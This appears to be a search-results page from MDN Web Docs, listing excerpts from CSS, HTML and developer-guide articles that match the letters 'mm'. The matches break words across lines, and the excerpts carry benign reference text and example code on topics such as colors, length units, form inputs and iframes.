...nd blue components. each component is interpolated as a real, floating-point number. note that interpolation of colors happens in the alpha-premultiplied srgba color space to prevent unexpected gray colors from appearing. in animations, the interpolation's speed is determined by the timing function. accessibility considerations some people have difficulty distinguishing colors. the wcag 2.0 reco
mmendation strongly advises against using color as the only means of conveying a specific message, action, or result. see color and color contrast for more information. examples color value tester in this example we provide a <div> and a text input. entering a valid color into the input causes the <div> to adopt that color, allowing you to test our color values. html <div></div> <hr> <label for...
... css color m...
...And 2 more matches
cursor - CSS: Cascading Style Sheets
each <url> should point to an image file. the browser will try to load the first image specified, falling back to the next if it can't, and falling back to the keyword value if no images could be loaded (or if none were specified). each <url> may be optionally followed by a pair of space-separated numbers, which represent <x><y> coordinates. these...
...bers, which represent <x><y> coordinates. these will set the cursor's hotspot, relative to the top-left corner of the image. for example, this specifies two images using <url> values, providing <x><y> coordinates for the second one, and falling back to the progress keyword value if neither image can be loaded: cursor: url(one.svg), url(two.svg) 5 5, progress; values <url> a url(…) or a co
mma separated list url(…), url(…), …, pointing to an image file. more than one <url> may be provided as fallbacks, in case some cursor image types are not supported. a non-url fallback (one or more of the keyword values) must be at the end of the fallback list. see using url values for the cursor property for more details. <x> <y> optional x- and y-coordinates. two unitless nonnegative num...
... ...
...And 2 more matches
<dimension> - CSS: Cascading Style Sheets
the <dimension> css data type represents a <number> with a unit attached to it, for example 10px. css uses dimensions to specify distances (<length>), durations (<time>), frequencies (<frequency>), resolutions (<resolution>), and other quantities. syntax the syntax of <dimension> is a <number> i
mmediately followed by a unit which is an identifier. unit identifiers are case insensitive. examples valid dimensions 12px 12 pixels 1rem 1 rem 1.2pt 1.2 points 2200ms 2200 milliseconds 5s 5 seconds 200hz 200 hertz 200hz 200 hertz (values are case insensitive) invalid dimensions 12 px the unit must come i
mmediately after the number. 12"px" units are identifiers and therefore unquoted. 3sec the seconds unit is abbreviated "s" not "sec". spe...
... rem 1.2pt 1.2 points 2200ms 2200 milliseconds 5s 5 seconds 200hz 200 hertz 200hz 200 hertz (values are case insensitive) invalid dimensions 12 px the unit must come i
mmediately after the number. 12"px" units are identifiers and therefore unquoted. 3sec the seconds unit is abbreviated "s" not "sec". specifications specification status co
mment css values and units module level 4the definition of '<dimension>' in that specification. ...
...nquoted. 3sec the seconds unit is abbreviated "s" not "sec". specifications specification status co
mment css values and units module level 4the definition of '<dimension>' in that specification. editor's draft adds cap, ic, lh, rlh, vi, vb css values and units module level 3the definition of '<dimension>' in that specification. candidate reco
mmendation adds ch, rem, vw, vw, vmin, vmax, q css level 2 (revision 1)the definition of '<dimension>' in that specification. ...
...And 2 more matches
font-variant - CSS: Cascading Style Sheets
e to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. constituent properties this property is a shorthand for the following css properties: font-variant-alternates font-variant-caps font-variant-east-asian font-variant-ligatures font-variant-numeric syntax font-variant: small-caps; font-variant: co
mmon-ligatures small-caps; /* global values */ font-variant: inherit; font-variant: initial; font-variant: unset; values normal specifies a normal font face; each of the longhand properties has an initial value of normal. longhand properties of font-variant are: font-variant-caps, font-variant-numeric, font-variant-alternates, font-variant-ligatures, and font-variant-east-asian. none sets t...
...al specifies a normal font face; each of the longhand properties has an initial value of normal. longhand properties of font-variant are: font-variant-caps, font-variant-numeric, font-variant-alternates, font-variant-ligatures, and font-variant-east-asian. none sets the value of the font-variant-ligatures to none and the values of the other longhand property as normal, their initial value. <co
mmon-lig-values>, <discretionary-lig-values>, <historical-lig-values>, <contextual-alt-values> specifies the keywords related to the font-variant-ligatures longhand property. the possible values are: co
mmon-ligatures, no-co
mmon-ligatures, discretionary-ligatures, no-discretionary-ligatures, historical-ligatures, no-historical-ligatures, contextual, and no-contextual. stylistic(), historical-forms...
...the keywords related to the font-variant-east-asian longhand property. the possible values are: jis78, jis83, jis90, jis04, simplified, traditional, full-width, proportional-width, ruby. formal definition initial valuenormalapplies toall elements. ...
...And 2 more matches
<length> - CSS: Cascading Style Sheets
to the used advance measure of the "水" (cjk water ideograph, u+6c34) glyph found in the font used to render it. lh equal to the computed value of the line-height property of the element on which it is used, converted to an absolute length. rem represents the font-size of the root element (typically <html>). when used within the root element font-size, it represents its initial value (a co
mmon browser default is 16px, but user-defined preferences may modify this). rlh equal to the computed value of the line-height property on the root element (typically <html>), converted to an absolute length. when used on the font-size or line-height properties of the root element, it refers to the properties' initial value. viewport-percentage lengths viewport-percentage lengths define the ...
...fferently for low-resolution devices, such as screens, versus high-resolution devices, such as printers. for low-dpi devices, the unit px represents the physical reference pixel; other units are defined relative to it. thus, 1in is defined as 96px, which equals 72pt. the consequence of this definition is that on such devices, dimensions described in inches (in), centimeters (cm), or millimeters (
mm) don't necessary match the size of the physical unit with the same name. for high-dpi devices, inches (in), centimeters (cm), and millimeters (
mm) are the same as their physical counterparts. therefore, the px unit is defined relative to them (1/96 of 1 inch). note: many users increase their user agent's default font size to make text more legible. absolute lengths can cause accessibility prob...
...since they are fixed and do not scale according to user settings. for this reason, prefer relative lengths (such as em or rem) when setting font-size. px one pixel. for screen displays, it traditionally represents one device pixel (dot). however, for printers and high-resolution screens, one css pixel implies multiple device pixels. 1px = 1/96th of 1in. cm one centimeter. 1cm = 96px/2.54.
mm one millimeter. 1
mm = 1/10th of 1cm. q one quarter of a millimeter. 1q = 1/40th of 1cm. in one inch. 1in = 2.54cm = 96px. pc one pica. 1pc = 12pt = 1/6th of 1in. pt one point. 1pt = 1/72nd of 1in. moz
mm , removed in firefox 59 an experimental unit that attempts to render at exactly one millimeter regardless of the size or resolution of the display. this is rarely actually what you w...
...And 2 more matches
list-style-type - CSS: Cascading Style Sheets
ustom counter style) of a list item element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the color of the marker will be the same as the computed color of the element it applies to. only a few elements (<li> and <su
mmary>) have a default value of display: list-item. however, the list-style-type property may be applied to any element whose display value is set to list-item. moreover, because this property is inherited, it can be set on a parent element (co
mmonly <ol> or <ul>) to make it apply to all list items. syntax /* partial list of types */ list-style-type: disc; list-style-type: circle; list-style-type:...
... han decimal numbers e.g. 一, 二, 三, ..., 九八, 九九, 一〇〇 decimal-leading-zero decimal numbers padded by initial zeros e.g. 01, 02, 03, … 98, 99 lower-roman lowercase roman numerals e.g. i, ii, iii, iv, v… upper-roman uppercase roman numerals e.g. i, ii, iii, iv, v… lower-greek lowercase classical greek alpha, beta, ga
mma… e.g. α, β, γ… lower-alpha lower-latin lowercase ascii letters e.g. a, b, c, … z lower-latin is unsupported in ie7 and earlier see browser compatibility section. upper-alpha upper-latin uppercase ascii letters e.g. a, b, c, … z upper-latin is unsupported in ie7 and earlier arabic-indic -moz-arabic-indic example armenian tradit...
... extends the syntax to support @counter-style rules. defines using @counter-style the usual style types: hebrew, cjk-ideographic, hiragana, hiragana-iroha, katakana, katakana-iroha, japanese-formal, japanese-informal, simp-chinese-fo...
...And 2 more matches
overflow-block - CSS: Cascading Style Sheets
iscrete formal syntax visible | hidden | clip | scroll | auto examples html <ul> <li><code>overflow-block:hidden</code> — hides the text outside the box <div id="div1"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. </div> </li> <li><code>overflow-block:scroll</code> — always adds a scrollbar <div id="div2"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercita...
...henderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. </div> </li> <li><code>overflow-block:scroll</code> — always adds a scrollbar <div id="div2"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. </div> </li> <li><code>overflow-block:visible</code> — displays the text outside the box if needed <div id="div3"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, ...
... velit esse cillum dolore eu fugiat nulla pariatur. </div> </li> <li><code>overflow-block:visible</code> — displays the text outside the box if needed <div id="div3"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. </div> </li> <li><code>overflow-block:auto</code> — on most browser, equivalent to <code>scroll</code> <div id="div4"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veni...
...And 2 more matches
text-indent - CSS: Cascading Style Sheets
or this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. horizontal spacing is with respect to the left (or right, for right-to-left layout) edge of the containing block-level element's content box. syntax /* <length> values */ text-indent: 3
mm; text-indent: 40px; /* <percentage> value relative to the containing block width */ text-indent: 15%; /* keyword values */ text-indent: 5em each-line; text-indent: 5em hanging; text-indent: 5em hanging each-line; /* global values */ text-indent: inherit; text-indent: initial; text-indent: unset; values <length> indentation is specified as an absolute <length>. negative values are allo...
...er to the width of the containing blockcomputed valuethe percentage as specified or the absolute length, plus any keywords as specifiedanimation typea length, percentage or calc(); formal syntax <length-percentage> && hanging? ...
...h, percentage or calc(); formal syntax <length-percentage> && hanging? ...
...And 2 more matches
CSS: Cascading Style Sheets
ncluding xml dialects such as svg, mathml or xhtml). css describes how elements should be rendered on screen, on paper, in speech, or on other media. css among the core languages of the open web and is standardized across web browsers according to the w3c specification. previously development of various parts of css specification was done synchronously, which allowed versioning of the latest reco
mmendation. you might have heard about css1, css2.1, css3. however, css4 has never become an official version. from css3, the scope of the specification increased significantly and the progress on different css modules started to differ so much, that it became more effective to develop and release reco
mmendations separately per module. instead of versioning the css specification, w3c now periodical...
...backgrounds and borders, debugging, and lots more. the aim here is to provide you with a toolkit for writing competent css and help you understand all the essential theory, before moving on to more specific disciplines like text styling and css layout. styling text with the basics of the css language covered, the next css topic for you to concentrate on is styling text — one of the most co
mmon things you'll do with css. here we look at text styling fundamentals, including setting font, boldness, italics, line and letter spacing, drop shadows, and other text features. we round off the module by looking at applying custom fonts to your page, and styling lists and links. css layout at this point we've already looked at css fundamentals, how to style text, and how to style and manipula...
...t sits inside. now it's time to look at how to place your boxes in the right place concerning the viewport, and one another. we have covered the necessary prerequisites so we can now dive deep into css layout, looking at different display settings, modern layout tools like flexbox, css grid, and positioning, and some of the legacy techniques you might still want to know about. use css to solve co
mmon problems this module provides links to sections of content explaining how to use css to solve co
mmon problems when creating a web page. reference css reference: this exhaustive reference for seasoned web developers describes every property and concept of css. css key concepts: the syntax and forms of the language specificity, inheritance and the cascade css units and values...
...And 2 more matches
Overview of events and handlers - Developer guides
this overview of events and event handling explains the code design pattern used to react to incidents occurring when a browser accesses a web page, and it su
mmarizes the types of such incidents modern web browsers can handle. events and event handling provide a core technique in javascript for reacting to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing. ...
... a core technique in javascript for reacting to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing. events and event handling become central to web progra
mming with the addition of the language to browsers, accompanying a switch in the rendering architecture of browsers from fetch and load page rendering to event driven, reflow based, page rendering. initially, browsers wait, until they receive all of the resources associated with a page, to parse, process, draw, and present the page to the user. the displayed page remains unchanged until the browser...
...o be partially rendered even when the browser has not finished retrieving all resources; this approach also allows for event driven actions, which javascript leverages. (the talk is available from several sources, including this one.) currently, all execution environments for javascript code use events and event handling. the event design pattern the event system, at its core, is simply a progra
mming design pattern. the pattern starts with an agreement over a kind of event and: the name string used for the event, the type of the data structure used to represent the key properties of that event, and the javascript object which will 'emit' that event. the pattern is implemented by defining a javascript function which takes as an argument the data structure which was agreed upon, an...
...And 2 more matches
Using device orientation with 3D transforms - Developer guides
this article provides tips on how to use device orientation information in tandem with css 3d transforms. using orientation to rotate an element the easiest way to convert orientation data to a 3d transform is basically to use the alpha, ga
mma, and beta values as rotatez, rotatex and rotatey values. ...
...as rotatez, rotatex and rotatey values. there are however two corrections that should be applied to those values: the initial alpha value is 180 (device flat on the back, top of the screen pointing 12:00), so the rotatez value should be alpha - 180 the y axis of the screen coordinate system is inverted, such that translatey(100px) moves an element 100px down, so the rotatey value should be -ga
mma finally, the order of the three different rotations is very important to accurately convert an orientation to a 3d rotation: rotatez, then rotatex and then rotatey. here's a simple code snippet to sum it up: var elem = document.getelementbyid("view3d"); window.addeventlistener("deviceorientation", function(e) { // remember to use vendor-prefixed transform property elem.style.transform = ...
...ion to a 3d rotation: rotatez, then rotatex and then rotatey. here's a simple code snippet to sum it up: var elem = document.getelementbyid("view3d"); window.addeventlistener("deviceorientation", function(e) { // remember to use vendor-prefixed transform property elem.style.transform = "rotatez(" + ( e.alpha - 180 ) + "deg) " + "rotatex(" + e.beta + "deg) " + "rotatey(" + ( -e.ga
mma ) + "deg)"; }); orientation compensation compensating the orientation of the device can be useful to create parallax effects or augmented reality. this is achieved by inverting the previous order of rotations and negating the alpha value: var elem = document.getelementbyid("view3d"); window.addeventlistener("deviceorientation", function(e) { // again, use vendor-prefixed transform propert...
...And 2 more matches
Localizations and character encodings - Developer guides
browsers process text as unicode internally. however, a way of representing characters in terms of bytes (character encoding) is used for transferring text over the network to the browser. the html specification reco
mmends the use of the utf-8 encoding (which can represent all of unicode) and regardless of the encoding used requires web content to declare what encoding was used. the <meta> element's charset attribute is used to specify the page's character encoding. it must be used within a <head> block. ...
...fication reco
mmends the use of the utf-8 encoding (which can represent all of unicode) and regardless of the encoding used requires web content to declare what encoding was used. the <meta> element's charset attribute is used to specify the page's character encoding. it must be used within a <head> block. to specify that a page is using, for example, the utf-8 character encoding (as per the reco
mmendation), simply place the following line in the <head> block: <meta charset="utf-8"> details and browser internals when the encoding is declared by web content like the html specification requires, firefox will use that encoding for turning the bytes into the internal representation. unfortunately, using utf-8 and declaring that utf-8 was used was not always the prevalent way of offering web...
...wing line in the <head> block: <meta charset="utf-8"> details and browser internals when the encoding is declared by web content like the html specification requires, firefox will use that encoding for turning the bytes into the internal representation. unfortunately, using utf-8 and declaring that utf-8 was used was not always the prevalent way of offering web content. in the 1990s, it was co
mmon to leave the encoding undeclared and to use a region-specific encoding that wasn't able to represent all of unicode. firefox needs a fallback encoding that it uses for non-conforming legacy content that doesn't declare its encoding. for most locales, the fallback encoding is windows-1252 (often called iso-8859-1), which was the encoding emitted by most windows applications in the 1990s and a s...
...And 2 more matches
User input and controls - Developer guides
relevant apis and events include touch events, pointer lock api, screen orientation api, fullscreen api, drag & drop and more. ...
... input and controls workflow the following diagram illustrates the typical workflow for implementing user input mechanisms: first of all, you need to decide which input mechanisms you want to cover in your application out of mouse, keyboard, finger touch and so on. once you decided the input mechanisms, you can control them using tools offered by the web platform or javascript libraries. reco
mmendations available input mechanisms depend on the capabilities of the device running the application: some devices provide touchscreen displays: the web platform offers touch events to interpret finger activity on touch-based user interfaces. for devices providing a mouse/touchpad as a pointing method, the pointer lock api helps you in implementing a first person 3d game or other application...
...our app. when screen orientation matters for your application, through the screen orientation api you can read the screen orientation state and perform other actions. you should always be mindful of keyboard accessibility where appropriate — many web users only use keyboard to navigate web sites and apps, and locking them out of your functionality is a bad idea. the following is a set of reco
mmendations and best practices for using such tools in open web apps. decide what input mechanism you’re using keyboard keyboard input can be controlled by your app. for example if you want to add controls when any key gets pressed, you need to add an event listener on the window object: window.addeventlistener("keydown", handlekeydown, true); window.addeventlistener("keyup", handlekeyup, true...
...And 2 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
r is applied to the right side of the border. other ways to use color css isn't the only web technology that supports color. there are graphics technologies that are available on the web which also support color. the html canvas api lets you draw 2d bitmapped graphics in a <canvas> element. see our canvas tutorial to learn more. svg (scalable vector graphics) lets you draw images using co
mmands that draw specific shapes, patterns, and lines to produce an image. svg co
mmands are formatted as xml, and can be embedded directly into a web page or can be placed in he page using the <img> element, just like any other type of image. webgl the web graphics library is an opengl es-based api for drawing high-performance 2d and 3d graphics on the web. see our webgl tutorial to find out more.
...oses all of our other content. this establishes the size of the container using width and height as well as its margin and padding. of more interest to our discussion here is the use of the border property to establish a border around the outside edge of the element. this border is a solid line, 6 pixels wide, in the color mediumturquoise. our two colored boxes share a number of properties in co
mmon, so next we establish a class, .box, that defines those shared properties: .box { width: 290px; height: 100px; margin: 0; padding: 4px 6px; font: 28px "marker felt", "zapfino", cursive; display: flex; justify-content: center; align-items: center; } in brief, .box establishes the size of each box, as well as the configuration of the font used within. we also take advantage of c...
...oxleft { float: left; background-color: rgb(245, 130, 130); outline: 2px solid darkred; } the .boxleft class—which, cleverly, is used to style the box on the left—floats the box to the left, then sets up the colors: the box's background color is set by changing the value of the css background-color property to rgb(245, 130, 130). an outline is defined for the box. unlike the more co
mmonly used border, outline doesn't affect layout at all; it draws over the top of whatever may happen to be outside the element's box instead of making room as border does. this outline is a solid, dark red line that's two pixels thick. note the use of the darkred keyword when specifying the color. notice that we're not explicitly setting the text color. that means the value of color will be inher...
...And 2 more matches
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
cal space, in pixels, to be reserved above and below the applet. width this attribute specifies in pixels the width that the applet needs. ...
...e specifies in pixels the width that the applet needs. example html <applet code="game.class" align="left" archive="game.zip" height="250" width="350"> <param name="difficulty" value="easy"> <b>sorry, you need java to play this game.</b> </applet> specifications specification status co
mment html 5.2the definition of '<applet>' in that specification. ...
...class" align="left" archive="game.zip" height="250" width="350"> <param name="difficulty" value="easy"> <b>sorry, you need java to play this game.</b> </applet> specifications specification status co
mment html 5.2the definition of '<applet>' in that specification. reco
mmendation html 5.1the definition of '<applet>' in that specification. ...
...And 2 more matches
<body>: The Document Body element - HTML: Hypertext Markup Language
the html <body> element represents the content of an html document. there can be only one <body> element in a document. content categories sectioning root. permitted content flow content. tag omission the start tag may be omitted if the first thing inside it is not a space character, co
mment, <script> element or <style> element. the end tag may be omitted if the <body> element has contents or has a start tag, and is not i
mmediately followed by a co
mment. permitted parents it must be the second element of an <html> element. implicit aria role document permitted aria roles no role permitted dom interface htmlbodyelement the <body> element exposes the htmlbodyelement interface. you can access th...
...en selected. this method is non-conforming, use css color property in conjunction with the :active pseudo-class instead. background uri of a image to use as a background. this method is non-conforming, use css background property on the element instead. bgcolor background color for the document. this method is non-conforming, use css background-color property on the element instead. botto
mmargin the margin of the bottom of the body. this method is non-conforming, use css margin-bottom property on the element instead. leftmargin the margin of the left of the body. this method is non-conforming, use css margin-left property on the element instead. link color of text for unvisited hypertext links. this method is non-conforming, use css color property in conjunction with the ...
...ge function to call when the fragment identifier part (starting with the hash ('#') character) of the document's current address has changed. onlanguagechange function to call when the preferred languages changed. onload function to call when the document has finished loading. onmessage function to call when the document has received a message. onoffline function to call when network co
mmunication has failed. ononline function to call when network co
mmunication has been restored. onpopstate function to call when the user has navigated session history. onredo function to call when the user has moved forward in undo transaction history. onresize function to call when the document has been resized. onstorage function to call when the storage area has changed. onundo funct...
...And 2 more matches
<button>: The Button element - HTML: Hypertext Markup Language
s submitted. possible values: application/x-www-form-urlencoded: the default if the attribute is not used. multipart/form-data: use to submit <input> elements with their type attributes set to file. text/plain: specified as a debugging aid; shouldn’t be used for real form submission. if this attribute is specified, it overrides the enctype attribute of the button's form owner. for
mmethod html5 if the button is a submit button (it's inside/associated with a <form> and doesn't have type="button"), this attribute specifies the http method used to submit the form. possible values: post: the data from the form are included in the body of the http request when sent to the server. use when the form contains information that shouldn’t be public, like login credentials. get:...
...standing success criterion 4.1.2 | w3c understanding wcag 2.0 size and proximity size interactive elements such as buttons should provide an area large enough that it is easy to activate them. this helps a variety of people, including people with motor control issues and people using non-precise forms of input such as a stylus or fingers. a minimum interactive size of 44×44 css pixels is reco
mmended. understanding success criterion 2.5.5: target size | w3c understanding wcag 2.1 target size and 2.5.5 | adrian roselli quick test: large touch targets - the a11y project proximity large amounts of interactive content — including buttons — placed in close visual proximity to each other should have space separating them. this spacing is beneficial for people who are experiencing m...
... internet explorer yes - internet explorer 11 n/a presto yes - opera 12 yes - opera 12 does tapping on a <button> give it focus? ...
...And 2 more matches
<cite>: The Citation element - HTML: Hypertext Markup Language
it's worth noting that the w3c specification says that a reference to a creative work, as included within a <cite> element, may include the name of the work’s author. however, the whatwg specification for <cite> says the opposite: that a person’s name must never be included, under any circumst...
... it's worth noting that the w3c specification says that a reference to a creative work, as included within a <cite> element, may include the name of the work’s author. however, the whatwg specification for <cite> says the opposite: that a person’s name must never be included, under any circumstances. to include a refe...
... contained within a <blockquote> or <q> element, use the cite attribute on the element. typically, browsers style the contents of a <cite> element in italics by default. to avoid this, apply the css font-style property to the <cite> element. ...
...And 2 more matches
<dt>: The Description Term element - HTML: Hypertext Markup Language
the subsequent <dd> (description details) element provides the definition or other related text associated with the term specified using <dt>. the source for this interactive example is stored in a github repository. ...
...ke to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content flow content, but with no <header>, <footer>, sectioning content or heading content descendants. tag omission must have a start tag. the end tag may be omitted if this element is i
mmediately followed by another <dt> or a <dd> element, or if there is no more content in the parent element. permitted parents before a <dt> or a <dd> element, inside a <dl> or (in whatwg html) a <div> that is inside a <dl>. implicit aria role term permitted aria roles listitem dom interface htmlelement up to gecko 1.9.2 (firefox 4) inclusive, firefox ...
...a role term permitted aria roles listitem dom interface htmlelement up to gecko 1.9.2 (firefox 4) inclusive, firefox implements the htmlspanelement interface for this element. attributes this element only includes the global attributes. ...
...And 2 more matches
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
ute. allowed values: auto (default) no preference. the browser uses its own heuristics to decide the priority of the resource. high the resource should be downloaded before other lower-priority page resources. low the resource should be downloaded after other higher-priority page resources. loading indicates how the browser should load the iframe: eager: load the iframe i
mmediately, regardless if it is outside the visible viewport (this is the default value). lazy: defer loading of the iframe until it reaches a calculated distance from the viewport, as defined by the browser. name a targetable name for the embedded browsing context. this can be used in the target attribute of the <a>, <form>, or <base> elements; the formtarget attribute of the <input> or <bu...
...me>, same as contentwindow.document. from the inside of a frame, a script can get a reference to its parent window with window.parent. script access to a frame's content is subject to the same-origin policy. scripts cannot access most properties in other window objects if the script was loaded from a different origin, including scripts inside a frame accessing the frame's parent. cross-origin co
mmunication can be achieved using window.postmessage(). positioning and scaling as a replaced element, the position, alignment, and scaling of the embedded document within the <iframe> element's box, can be adjusted with the object-position and object-fit properties. examples a simple <iframe> an <iframe> in action. after creating the frame, when the user clicks a button, its title is displayed...
...page for avocados" src="https://en.wikipedia.org/wiki/avocado"></iframe> without this title, they have to navigate into the <iframe> to determine what its embedded content is. this context shift can be confusing and time-consuming, especially for pages with multiple <iframe>s and/or if embeds contain interactive content like video or audio. ...
...And 2 more matches
<input type="checkbox"> - HTML: Hypertext Markup Language
a set in which only one radio button can be selected at a time, whereas checkboxes allow you to turn single values on and off. where multiple controls exist, radio buttons allow one to be selected out of them all, whereas checkboxes allow multiple values to be selected. value a domstring representing the value of the checkbox. events change and input supported co
mmon attributes checked idl attributes checked, indeterminate and value methods select() value a domstring representing the value of the checkbox. this is never seen on the client-side, but on the server this is the value given to the data submitted with the checkbox's name. take the following example: <form> <div> <input type="checkbox" id="subscribenews" n...
...ted, there is no value submitted to the server to represent its unchecked state (e.g. value=unchecked); the value is not submitted to the server at all. if you wanted to submit a default value for the checkbox when it is unchecked, you could include an <input type="hidden"> inside the form with the same name and value, generated by javascript perhaps. ...
...kbox: when a form is submitted, only checkboxes which are currently checked are submitted to the server, and the reported value is the value of the value attribute. if the value is not otherwise specified, it is the string on by default. this is demonstrated in the section value above. using checkbox inputs we already covered the most basic use of checkboxes above. let's now look at the other co
mmon checkbox-related features and techniques you'll need. handling multiple checkboxes the example we saw above only contained one checkbox; in real-world situations you'll be likely to encounter multiple checkboxes. if they are completely unrelated, then you can just deal with them all separately, as shown above. however, if they're all related, things are not quite so simple. for example, in t...
...And 2 more matches
<input type="image"> - HTML: Hypertext Markup Language
tons that take the form of an image rather than text. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value none — the value attribute should not be specified. events none. supported co
mmon attributes alt, src, width, height, formaction, formenctype, for
mmethod, formnovalidate, formtarget idl attributes none. methods none. value <input type="image"> elements do not accept value attributes. the path to the image to be displayed is specified in the src attribute. additional attributes in addition to the attributes shared by all <input> elements, ...
...tional attributes in addition to the attributes shared by all <input> elements, image button inputs support the following attributes: attribute description alt alternate string to display when the image can't be shown formaction the url to which to submit the data formenctype the encoding method to use when submitting the form data for
mmethod the http method to use when submitting the form formnovalidate a boolean which, if present, indicates that the form shouldn't be validated before submission formtarget a string indicating a browsing context from where to load the results of submitting the form height the height, in css pixels, at which to draw the image src the url from whic...
... this encoding type if your form includes any <input> elements of type file (<input type="file">). text/plain plain text; mostly useful only for debugging, so you can easily see the data that's to be submitted. if specified, the value of the formenctype attribute overrides the owning form's action attribute. this attribute is also available on <input type="submit"> and <button> elements. for
mmethod a string indicating the http method to use when submitting the form's data; this value overrides any method attribute given on the owning form. permitted values are: get a url is constructed by starting with the url given by the formaction or action attribute, appending a question mark ("?") character, then appending the form's data, encoded as described by formenctype or the form's enc...
...And 2 more matches
<input type="password"> - HTML: Hypertext Markup Language
the wrong one can be pressed, especially on virtual keyboards. note: any forms involving sensitive information like passwords (e.g. login forms) should be served over https; many browsers now implement mechanisms to warn against insecure login forms; see insecure passwords. ...
... around the pattern text. if the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. tip: use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. you should also include other explanatory text nearby. use of a pattern is strongly reco
mmended for password inputs, in order to help ensure that valid passwords using a wide assortment of character classes are selected and used by your users. with a pattern, you can mandate case rules, require the use of some number of digits and/or punctuation characters, and so forth. see the section validation for details and an example. placeholder the placeholder attribute is a string that prov...
... autocomplete="current-password"> making the password mandatory to tell the user's browser that the password field must have a valid value before the form can be submitted, simply specify the boolean required attribute. <label for="userpassword">password: </label> <input id="userpassword" type="password" required> <input type="submit" value="submit"> specifying an input mode if your reco
mmended (or required) password syntax rules would benefit from an alternate text entry interface than the standard keyboard, you can use the inputmode attribute to request a specific one. the most obvious use case for this is if the password is required to be numeric (such as a pin). mobile devices with virtual keyboards, for example, may opt to switch to a numeric keypad layout instead of a full ke...
...And 2 more matches
<input type="radio"> - HTML: Hypertext Markup Language
o buttons are designed for selecting one value out of a set, whereas checkboxes let you turn individual values on and off. where multiple controls exist, radio buttons allow one to be selected out of them all, whereas checkboxes allow multiple values to be selected. value a domstring representing the value of the radio button. events change and input supported co
mmon attributes checked and value idl attributes checked and value methods select() value the value attribute is a domstring containing the radio button's value. the value is never shown to the user by their user agent. instead, it's used to identify which radio button in a group is selected. defining a radio group a radio group is defined by giving each of radio...
...on to the group. in this scenario, if the user clicked on the "phone" option and submitted the form, the resulting form data would be contact=on, which isn't helpful. so don't forget to set your value attributes! note: if no radio button is selected when the form is submitted, the radio group is not included in the submitted form data at all, since there is no value to report. it's fairly unco
mmon to actually want to allow the form to be submitted without any of the radio buttons in a group selected, so it is usually wise to have one default to the checked state. see selecting a radio button by default below. let's add a little bit of code to our example so we can examine the data generated by this form. the html is revised to add a <pre> block to output the form data into: <form> <p...
..."); form.addeventlistener("submit", function(event) { var data = new formdata(form); var output = ""; for (const entry of data) { output = output + entry[0] + "=" + entry[1] + "\r"; }; log.innertext = output; event.preventdefault(); }, false); try this example out and see how there's never more than one result for the contact group. ...
...And 2 more matches
<input type="range"> - HTML: Hypertext Markup Language
es project, please clone https://github.com/mdn/interactive-examples and send us a pull request. if the user's browser doesn't support type range, it will fall back and treat it as a text input. value a domstring containing the string representation of the selected numeric value; use valueasnumber to get the value as a number. ...
...ient non-standard css property impacting the <progress> and <meter> elements, the orient attribute defines the orientation of the range slider. values include horizontal, meaing the range is rendered horizontally, and vertical, where the range is rendered vertically. note: the following input attributes do not apply to the input range: accept, alt, checked, dirname, formaction, formenctype, for
mmethod, formnovalidate, formtarget, height, maxlength, minlength, multiple, pattern, placeholder, readonly, required, size, src, and width. any of these attributes, if included, will be ignored. examples while the number type lets users enter a number with optional constraints forcing their value to be between a minimum and a maximum value, it does require that they enter a specific value. the r...
...hile the number type lets users enter a number with optional constraints forcing their value to be between a minimum and a maximum value, it does require that they enter a specific value. the range input type lets you ask the user for a value in cases where the user may not even care—or know—what the specific numeric value selected is. a few examples of situations in which range inputs are co
mmonly used: audio controls such as volume and balance, or filter controls. color configuration controls such as color channels, transparency, brightness, etc. game configuration controls such as difficulty, visibility distance, world size, and so forth. password length for a password manager's generated passwords. as a rule, if the user is more likely to be interested in the percentage of t...
...And 2 more matches
<input type="submit"> - HTML: Hypertext Markup Language
<input> elements of type submit are rendered as buttons. when the click event occurs (typically because the user clicked the button), the user agent attempts to submit the form to the server. <input type="submit" value="send request"> value a domstring used as the button's label events click supported co
